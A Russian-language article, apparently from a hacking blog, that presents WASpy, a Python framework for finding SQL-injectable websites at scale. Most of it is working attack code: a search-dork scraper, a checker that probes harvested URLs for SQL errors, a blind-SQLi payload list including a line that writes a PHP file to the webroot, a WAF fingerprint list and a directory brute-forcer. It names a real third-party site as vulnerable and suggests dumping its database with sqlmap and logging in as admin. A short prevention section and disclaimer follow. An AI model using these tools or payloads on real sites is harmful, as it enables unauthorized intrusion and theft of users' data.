Python SQLi Взлом Дорки

Пациент, укольчик. Фреймворк для автоматизации поиска SQL инъекций на Python

Пациент, укольчик. Фреймворк для автоматизации поиска SQL инъекций на Python

В этой статье мы объясним, что такое SQL-инъекция, опишем некоторые распространенные примеры, объясним, как найти и использовать различные виды уязвимостей SQL-инъекций и разберем основные моменты нашего фреймворка WASpy (https://github.com/f4rber/WASpy), который позволяет находить уязвимые сайты используя дорки, которые мы разбирали в прошлых статьях.

Что такое SQL-инъекция (SQLi)?

SQL – это язык запросов, разработанный для управления данными, хранящимися в реляционных базах данных. Вы можете использовать его для доступа, изменения и удаления данных. Многие веб-приложения и веб-сайты хранят все данные в базах данных SQL. В некоторых случаях вы также можете использовать команды SQL для запуска команд операционной системы. Поэтому успешная атака SQL-инъекцией может иметь очень серьезные последствия.

SQLi – это уязвимость, которая позволяет злоумышленнику вмешиваться в запросы, которые приложение выполняет в своей базе данных. Обычно этот тип атаки позволяет злоумышленнику просматривать данные, которые он обычно не может получить. Это могут быть данные, принадлежащие другим пользователям, или любые другие данные, к которым само приложение может получить доступ. Во многих случаях злоумышленник может изменить или удалить эти данные, что приводит к постоянным изменениям содержимого или поведения приложения.

В некоторых ситуациях злоумышленник может усилить атаку с использованием SQL-инъекции, чтобы поставить под угрозу базовый сервер или другую внутреннюю инфраструктуру или выполнить атаку типа «отказ в обслуживании».

Успешная атака с использованием SQL-инъекций может привести к несанкционированному доступу к конфиденциальным данным, таким как пароли, данные кредитных карт или личные данные пользователей. В некоторых случаях злоумышленник может получить постоянный бэкдор в системы организации, что приведет к долгосрочному доступу, который может оставаться незамеченным в течение длительного периода.

Существует множество уязвимостей, атак и методов внедрения SQL-кода, возникающих в разных ситуациях. Вот некоторые распространенные примеры внедрения SQL:

Организация OWASP (Open Security Application Project) перечисляет инъекции в своем документе OWASP Top 10 2017 как угрозу номер один для безопасности веб-приложений.

Пример простой SQLi

Пример очень прост. Он показывает, как злоумышленник может использовать уязвимость SQL Injection для обхода безопасности приложения и аутентификации в качестве администратора.

Следующий скрипт представляет собой псевдокод, выполняемый на веб-сервере. Это простой пример аутентификации с использованием имени пользователя и пароля. В примере базы данных есть таблица users со следующими столбцами: username и password.

# Определяем переменные POST
uname = request.POST['username']
passwd = request.POST['password']
# SQL-запрос уязвимый к SQLi
sql = “SELECT id FROM users WHERE username=’” + uname + “’ AND password=’” + passwd + “’”
# Выполняем инструкцию SQL
database.execute(sql)

Эти поля ввода уязвимы для SQL-инъекций. Злоумышленник может использовать команды SQL во входных данных таким образом, чтобы изменить оператор SQL, выполняемый сервером базы данных. Например, они могли бы использовать трюк с одинарной кавычкой и установить в passwd поле значение:

password' OR 1=1

В результате сервер базы данных выполняет следующий SQL-запрос:

SELECT id FROM users WHERE username='username' AND password='password' OR 1=1'

Из-за OR 1=1 оператора WHERE предложение возвращает первое id из users таблицы независимо от того, что записано username и password. Первый пользователь id в базе данных очень часто является администратором. Таким образом, злоумышленник не только обходит аутентификацию, но и получает права администратора. Они также могут закомментировать оставшуюся часть SQL-оператора, чтобы дополнительно контролировать выполнение SQL-запроса: MySQL, MSSQL, Oracle, PostgreSQL, SQLite

' OR '1'='1' --
' OR '1'='1' /*
-- MySQL
' OR '1'='1' #
-- Access (using null characters)
' OR '1'='1' %00
' OR '1'='1' %16

SQL-инъекция второго порядка

SQL-инъекция первого порядка возникает, когда приложение принимает пользовательский ввод из HTTP-запроса и в процессе обработки этого запроса небезопасным образом вводит ввод в SQL-запрос.

В SQL-инъекции второго порядка (также известной как хранимая SQL-инъекция) приложение берет пользовательский ввод из HTTP-запроса и сохраняет его для будущего использования. Обычно это делается путем помещения входных данных в базу данных, но никакой уязвимости в том месте, где хранятся данные, не возникает. Позже, при обработке другого HTTP-запроса, приложение извлекает сохраненные данные и небезопасным образом вводит их в SQL-запрос.

Внедрение SQL второго порядка часто возникает в ситуациях, когда разработчики знают об уязвимостях SQL-инъекций и, таким образом, безопасно обрабатывают первоначальное размещение ввода в базу данных. Когда данные обрабатываются позже, они считаются безопасными, поскольку ранее они были безопасно помещены в базу данных. На этом этапе данные обрабатываются небезопасным способом, поскольку разработчик ошибочно считает их доверенными.

Пишем сканер для дорков

Перед началом скажу, что весь проект можно найти тут:

https://github.com/f4rber/WASpy

Используя библиотеку requests и bs4, мы напишем небольшой парсер для поисковика www1.search-results.com, в дальнейшем полученные сайты мы будем отправлять в другой скрипт, который проверит их на предмет SQLi.

import requests
# С помощью BeautifulSoup мы будем парсить ответ requests на предмет URL сайтов 
from bs4 import BeautifulSoup
dork = input("Enter dork: ")
pages = 1
# К-во странниц которое мы хотим отсканить 
how_much = input("Enter number of pages to scan: ")
# Если пользователь введет y мы очистим txt файл от прошлых результатов
decision = input("Clean old file? (y/n)\n[OPTION] ==> ")
if decision == "y":
    file = open("dorks.txt", "w", encoding="utf=8")
    file.write("https://cybersec.org\n")
    file.close()
else:
    print("Skipping...")
# В цикле мы будем парсить каждую странницу, пока она не сравняется с переменной how_much
while pages != int(how_much):
    print("[+] Results:")
    # Посылаем запрос с дорком в поисковик
    send = requests.get("http://www1.search-results.com/web?q=" + dork + "&page=" + str(pages))
    # Парсим ответ
    parsing = BeautifulSoup(send.text, features="html.parser")
    # Записываем результаты в txt
    for data in parsing.find_all("cite"):
        print(data.string)
        f = open("dorks.txt", "a", encoding="utf=8")
        f.write(data.string + "\n")
    pages = pages + 1
    # Если pages = how_much то мы напишем куда были сохранены результаты
    if pages == int(how_much):
        print("\0Результаты были сохранены в dorks.txt\n")

Проверяем полученные сайты

Использование библиотеки colorama поможет нам визуально выделить уязвимые сайты, а fake_useragent создаст фейковых юзер-агентов.

import requests
import time
from colorama import Fore
from fake_useragent import UserAgent
import urllib3
http = urllib3.PoolManager()  # Создаем переменную с PoolManager-ом
# Просим ввести имя/путь к файлу с URL-ами

file = input(Fore.RESET + "Enter file with url`s: ")
# Спрашиваем нужно ли очистить файл от прошлых урлов, если пользователь выберет y
# Мы заменим все урлы одним сайтом

decision = input(Fore.RESET + "Clean old file? (y/n)\n[OPTION] ==> ")
if decision == "y":
    urls = open(r"injectableURL.txt", mode="w")
    urls.write("https://cybersec.org\n")
    urls.close()
else:
    # Если выбрано что то кроме y, пропускаем очистку

    print(Fore.RESET + "[+] Skipping...")

url = open(str(file), "r")
# Переменная с ошибкой которую мы будем искать на сайтах

error = "You have an error in your SQL syntax"
while url.readline():

    try:
        # Переменная с юзер агентами
        ua = UserAgent(cache=False)
        headers = requests.utils.default_headers()
        headers.update(
            {
                'User-Agent': ua.random  # Делаем случайного юзер-агента
            })
        # Отключаем предупреждения urllib3    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
         # Читаем каждую строку из файла и записываем в переменную
        connect_to = url.readline()
        time.sleep(0.10)  # Время между каждым запросом 
        print(Fore.RESET + "\n[+]########[+]")
        print(Fore.RESET + "[+] Result:")
        print(connect_to)
        # Отправляем запрос и добавляем к URL-у '
        send = http.request("GET", str(connect_to) + "'", headers=headers)
         # Если ошибка будет в коде странницы сайта, печатаем сообщение о том, что
         # Сайт уязвим и запишем адрес в файл
        if bytes(error, encoding="utf-8") in send.data:
            print(Fore.GREEN + "Vulnerable!")
            injectable_url = open("injectableURL.txt", 'a')
            injectable_url.write(str(connect_to))
            injectable_url.close()
            print(Fore.RESET + "[+]########[+]\n")
        else:
            print(Fore.RED + "Not vulnerable!")
            print(Fore.RESET + "[+]########[+]\n")
    except Exception as ex:
        print(Fore.RED + "[+] Exception: " + str(ex))

После того как Dorker насканил сайты и сохранил в файл dorks.txt, можно запускать следующий инструмент, который проверит уязвимые сайты:

Проверяем сайт http://www.marists.net/page.php?id=87′:

Прекрасно! Софт работает и находит уязвимость в скормленных ему сайтах. Теперь можно засунуть этот URL в sqlmap и получить базы данных, в которых могут быть различные данные такие как адреса почт, адреса людей, пароли и прочие интересные вещи.

В фреймворке так же имеется фаззер Blind SQLi, разберем лишь часть из его кода и протестим модуль тут:

http://fuzzme.org/SQLi/SQLi_X-Forwarded-For_Insert.php

Лист с пейлоадами которые он инжектит в указанный сайт:

def r_time():
    # Случайное время
    return randint(0, int(strftime('%m%d')))
def r_string(n):
    # Случайные буквы
    return "".join([choice(letters.lower()+letters.upper()) for _ in range(0, int(n))])
payload = [

    "' OR SLEEP(3)#",
    "' OR SLEEP(3)--+",
    "' OR SLEEP(3)-- -",
    "' OR benchmark(30000000,MD5(7))#",
    "' OR benchmark(30000000,MD5(7))--+",
    "' OR benchmark(30000000,MD5(7))-- -",
    "NULL',(SELECT SLEEP(3)))#",
    "NULL',(SELECT SLEEP(3)))--+",
    "NULL',(SELECT SLEEP(3)))-- -",
    "NULL',(SELECT benchmark(30000000,MD5(7))))#",
    "NULL',(SELECT benchmark(30000000,MD5(7))))--+",
    "NULL',(SELECT benchmark(30000000,MD5(7))))-- -",
    "NULL','NULL',(SELECT SLEEP(3)))#",
    "NULL','NULL',(SELECT SLEEP(3)))--+",
    "NULL','NULL',(SELECT SLEEP(3)))-- -",
    "NULL','NULL',(SELECT benchmark(30000000,MD5(7))))#",
    "NULL','NULL',(SELECT benchmark(30000000,MD5(7))))--+",
    "NULL','NULL',(SELECT benchmark(30000000,MD5(7))))-- -",
    "+AND + SLEEP(10) - -",
    "/**/AND/**/SLEEP(10)/**/--",
    "'+AND+(IF((substring((SELECT+DATABASE()),1,1))+=+'d',+SLEEP(5),+0))--+",
    "/**/AND/**/(IF((substring((SELECT/**/DATABASE()),1,1))/**/=/**/'a',/**/SLEEP(0.5),/**/0))/**/--",
    "'+(select*from(select(sleep(10)))a)+'",
    "'+AND+(SELECT+9950+FROM+(SELECT(SLEEP(10)))obCp)--+",
    "'; waitfor delay '0:0:3' --",
    "AND %s=%s" % (r_time(), r_time()),
    "OR %s=%s" % (r_time(), r_time()),
    ") AND %s=%s" % (r_time(), r_time()),
    ")) AND %s=%s" % (r_time(), r_time()),
    "))) AND %s=%s" % (r_time(), r_time()),
    ") OR %s=%s" % (r_time(), r_time()),
    ")) OR %s=%s" % (r_time(), r_time()),
    "))) OR %s=%s" % (r_time(), r_time()),
    "sleep(%s)#" % (r_time()),
    "\" or sleep(%s)#" % (r_time()),
    "\' or sleep(%s)#" % (r_time()),
    "\' or sleep(%s)=\'" % (r_time()),
    "1) or sleep(%s)#" % (r_time()),
    "\')) or sleep(%s)=\'" % (r_time()),
    ";waitfor delay \'0:0:%s\'--" % (r_time()),
    "\"));waitfor delay \'0:0:%s\'--" % (r_time()),
    "1 or benchmark(10000000,MD5(1))#",
    "')) or benchmark(10000000,MD5(1))#",
    "\')) or pg_sleep(%s)--" % (r_time()),
    ") AND %s=%s AND (%s=%s" % (r_time(), r_time(), r_time(), r_time()),
    ") AND %s=%s AND (8533=8533" % (r_time(), r_time()),
    "\') AND %s=%s AND (\'%s\'=\'%s" % (r_time(), r_time(), r_string(5), r_string(5)),
    "\' OR NOT %s=%s-- %s" % (r_time(), r_time(), r_string(5)),
    "\' OR NOT %s=   %s-- %s" % (r_time(), r_time(), r_string(5)),
    "\' OR NOT (%s)=%s-- %s" % (r_time(), r_time(), r_string(5)),
    "' OR 1=1 INTO OUTFILE ' / var / www / file.php' --",

Присутствует и “сканер” WAF, который работает по аналогии с сканером ошибок, который мы разбирали выше, то есть, в коде странницы программа смотрит “отпечатки” WAF-a и если таковые имеются, то пишет название, ниже НЕ полный список фаерволов которые модуль может определять:

def waf_detect(page_source):

    waflist = {
        '360': 'Sorry! Your access has been intercepted because your links may threaten website security.',
        'aeSecure': 'aesecure_denied.png',
        'Airlock1': 'Server detected a syntax error in your request',
        'Airlock2': 'Check your request and all parameters',
        'AlertLogic1': 'We are sorry, but the page you are looking for cannot be found',
        'AlertLogic2': 'The page has either been removed, renamed or temporarily unavailable',
        'Aliyundun': 'Sorry, your request has been blocked as it may cause potential threats to the server\'s '
                     'security',
        'Anquanbao1': '/aqb_cc/error/',
        'Anquanbao2': 'hidden_intercept_time',
        'Anyu1': 'Sorry! your access has been intercepted by AnYu',
        'Anyu2': 'AnYu- the green channel',
        'Approach1': 'Approach Web Application Firewall Framewor',
        'Approach2': 'Your IP address has been logged and this information could be used by '
                     'authorities to track you',
        'Approach3': 'Approach infrastructure team',
        'Armor Defense1': 'This request has been blocked by website protection from Armor',
        'Armor Defense2': 'If you manage this domain please create an Armor support ticket',
        'ASP.NET Generic': 'This generic 403 error means that the authenticated user is not authorized to '
                           'use the requested resource',
        'Astra': 'our website protection system has detected an issue with your IP address and wont let you '
                 'proceed any further',
        'Barracuda1': 'You are unable to access this website',
    # Чекер WAF
    for waf_name, waf_sign in waflist.items():
        if waf_sign in page_source:
            print(
                '[' + Fore.RED + 'WARNING' + Fore.RESET + '] WAF detected : ' + Fore.YELLOW + waf_name +
                Fore.RESET + ' | WAF sign <' + Fore.YELLOW + waf_sign + Fore.RESET + '>')

Один из методов фаззинга:

def get_fuzzing(url, options, payload, r_delay):
    vuln = False
    # Юзер агент во время фаззинга
    user_agent = UserAgent(cache=False)
    headers = requests.utils.default_headers()
    headers.update(
        {
            'User-Agent': user_agent.random  # Рандомный ЮА
        })
    if options == '1':
        headers = {'X-Forwarded-For': payload, 'User-Agent': user_agent.random}
        header = 'X-Forwarded-For'
    elif options == '2':
        headers = {'User-Agent': payload}
        header = 'User-Agent'
    else:
        headers = {'Referer': payload, 'User-Agent': user_agent.random}
        header = 'Referer'
    t1 = time_now()  # Получение времени до отправки
    response = requests.get(url, headers=headers)  # Подключение к URL
    t2 = time_now()  # Получение времени после отправки
    if r_delay != 0:  # Если r_delay отличается от 0, то мы добавляем задержку
        wait(r_delay)
    page_source = str(response.text)  # Ответ в формате кода странницы
    code = str(response.status_code)  # Статус код ответа
    resp_time = round(t2 - t1)  # Время ответа на запрос
    waf_detect(page_source)  # Проверяем, есть ли фингерпринт WAF в коде странницы
    if resp_time >= 3:
        print(
            '[' + Fore.BLUE + 'TRYING' + Fore.RESET + '] [' + Fore.YELLOW + code + Fore.RESET + '] ' +
            Fore.YELLOW + header + Fore.RESET + ' : ' + Fore.GREEN + payload + Fore.RESET + ' (' + Fore.GREEN + str(
                resp_time) + Fore.RESET + 's)')
        vuln = True
    else:
        print(
            '[' + Fore.BLUE + 'TRYING' + Fore.RESET + '] [' + Fore.YELLOW + code + Fore.RESET + '] ' +
            Fore.YELLOW + header + Fore.RESET + ' : ' + Fore.RED + payload + Fore.RESET + ' (' + Fore.RED + str(
                resp_time) + Fore.RESET + 's)')

Сканер директорий

Сканер директорий работает по принципу брутфорса, из словаря мы берем названия папок и пытаемся к ним достучатся.

from datetime import datetime
from time import sleep
from concurrent.futures import ThreadPoolExecutor
from fake_useragent import UserAgent
import requests
import sys
import urllib3
import os
from colorama import Fore
# Отключаем предупреждения
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
urllib3.disable_warnings()
requests.packages.urllib3.disable_warnings()
# Переменная с ЮА 
user_agent = {'User-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'}
class Cl:
    # Цвета
    pink = '\033[95m'
    blue = '\033[94m'
    green = '\033[92m'
    yellow = '\033[93m'
    red = '\033[91m'
    end = '\033[0m'
    white = '\033[1m'
    under = '\033[4m'
    # URL цели, в формате http://TARGET.com
    target = input(Fore.RESET + "Enter target URL: ")
    # К-во потоков
    thread = int(input(Fore.RESET + "Enter number of threads: "))
    # Словарь
    wordlist = input(Fore.RESET + "Use default wordlist? (y/n): ")
    if wordlist == "y":
        wordlist = open("tools/wordlists/dirbuster-medium.txt", 'r')
    else:
        try:
            # Тут пользователь будет должен указать путь к своему словарю
            path_to_wordlist = input(Fore.RESET + "Enter path to wordlist: ")
            wordlist = open(str(path_to_wordlist), 'r')
        # В случае ошибки мы напишем ее код и выберем стандартный словарь
         except Exception as ex:  
            print("Error: " + str(ex))
            wordlist = open("tools/wordlists/dirbuster-medium.txt", 'r')
    # Переменная в которой будет содержаться решение о выборе случайного ЮА
    random_agent = input(Fore.RESET + "Enable random agent? (y/n): ")

Функция с статусами и их кодом:

def statuses(line):
    url = str(Cl.target) + str(line)
    if Cl.random_agent == "y":
        user__agent = {'User-agent': UserAgent().random}
        r = requests.get(url, headers=user__agent, timeout=5, allow_redirects=False, verify=False)
    else:
        user__agent = {'User-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'}
        r = requests.get(url, headers=user__agent, timeout=5, allow_redirects=False, verify=False)
    num = int(len(r.text))
    status = r.status_code
    # Success
    if status == 200:
        if line == '':
            pass
        elif len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.green + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num),url) + Cl.end)
    # Redirect
    elif status == 301:
        if len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.red + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num), url) + Cl.end)
    # Internal server error
    elif status == 500:
        if len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.pink + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num),url) + Cl.end)
    # Unauthenticated
    elif status == 401:
        if len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.yellow + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num), url) + Cl.end)
    # Forbidden
    elif status == 403:
        if ".ht" in line:
            pass
        elif len(r.text) == length:
            pass
        else:
            sys.stdout.write(
                Cl.blue + '| {} | {} - {} | {}\n'.format(datetime.now().strftime('%H:%M:%S'), status, sizeof(num),url) + Cl.end)
# Попытка подключиться к серверу
try:
    cek = requests.get(str(Cl.target), headers=user_agent, timeout=5, verify=False)
    length = len(cek.text)
except Exception as ex:
    print('ERROR: Invalid address or target is down..' + str(ex))
    sys.exit()
no = 0
# Открытие файла и чтение строк из него.
file = Cl.wordlist.read().split('\n')
l_count = sum(1 for line in file)
no = no + 1
# Главная переменная
def dirscan():
    print('Start scanning directory..')
    # Пишем выбранный словарь, к-во потоков и ЮА
    print('Wordlist : {} | Thread : {} | Random agent : {}'.format(Cl.wordlist, Cl.thread, Cl.random_agent))
    # Запускаем потоки
    executor = ThreadPoolExecutor(max_workers=Cl.thread)
    futures = []
    for line in file:
        try:
            a = executor.submit(statuses, line)
            futures.append(a)
            c = (no * 100) / l_count
            # Сбрасываем буфер
            sys.stdout.flush()
            sys.stdout.write("| {} | {}% Line : {}\r".format(datetime.now().strftime('%H:%M:%S'), int(c), int(no)))
            sys.stdout.flush()
         # Если нажато CTRL+C, то программа завершит работу
        except(KeyboardInterrupt, SystemExit):
            print('\r| {} | Exiting program ...'.format(datetime.now().strftime('%H:%M:%S')))
            os.kill(os.getpid(), 9)
    while True:
        try:
            prog()
            cek = a.done()
            if cek is True:
                sleep(1)
                exit()
        except KeyboardInterrupt: # Если нажато CTRL+C, то программа завершит работу
            print('\r| {} | Exiting program ...'.format(datetime.now().strftime('%H:%M:%S')))
            os.kill(os.getpid(), 9)

Брут директорий показал нам что есть папка secretary: http://www.marists.net/secretary/

Если учесть, что мы до этого смогли слить бд, то войти в аккаунт админа не составит труда.

Как предотвратить SQL-инъекцию

Единственный надежный способ предотвратить атаки SQL-инъекций – это проверка ввода и параметризованные запросы, включая подготовленные операторы. Код приложения никогда не должен использовать ввод напрямую. Разработчик должен очистить все входные данные, а не только входные данные веб-форм, такие как формы входа. Они должны удалять потенциальные элементы вредоносного кода, такие как одинарные кавычки. Также рекомендуется отключить отображение ошибок базы данных на рабочих сайтах. Ошибки базы данных могут быть использованы с SQL-инъекцией для получения информации о вашей базе данных.

Обрабатывайте все пользовательские данные как ненадежные. Любой пользовательский ввод, который используется в запросе SQL, представляет риск внедрения SQL. Относитесь к вводу от аутентифицированных и / или внутренних пользователей так же, как к общедоступному вводу.

Старые технологии веб-разработки не имеют защиты SQLi. Используйте последнюю версию среды и языка разработки и новейшие технологии, связанные с этой средой / языком. Например, в PHP используйте PDO вместо MySQL.

Напоминаем, что сканировать вы можете только свои системы.

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ ИЛИ ПОЛУЧАТЬ НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К СИСТЕМАМ. ДАННАЯ СТАТЬЯ НАПРАВЛЕНА НА ТО, ЧТОБЫ УКАЗАТЬ НА ПРОБЛЕМЫ С СИСТЕМАМИ И ПРЕДОСТЕРЕЧЬ ПОЛЬЗОВАТЕЛЕЙ ОТ ВОЗМОЖНЫХ АТАК.

f4r6er
f4r6er Script kiddie, red teamer, Python lover.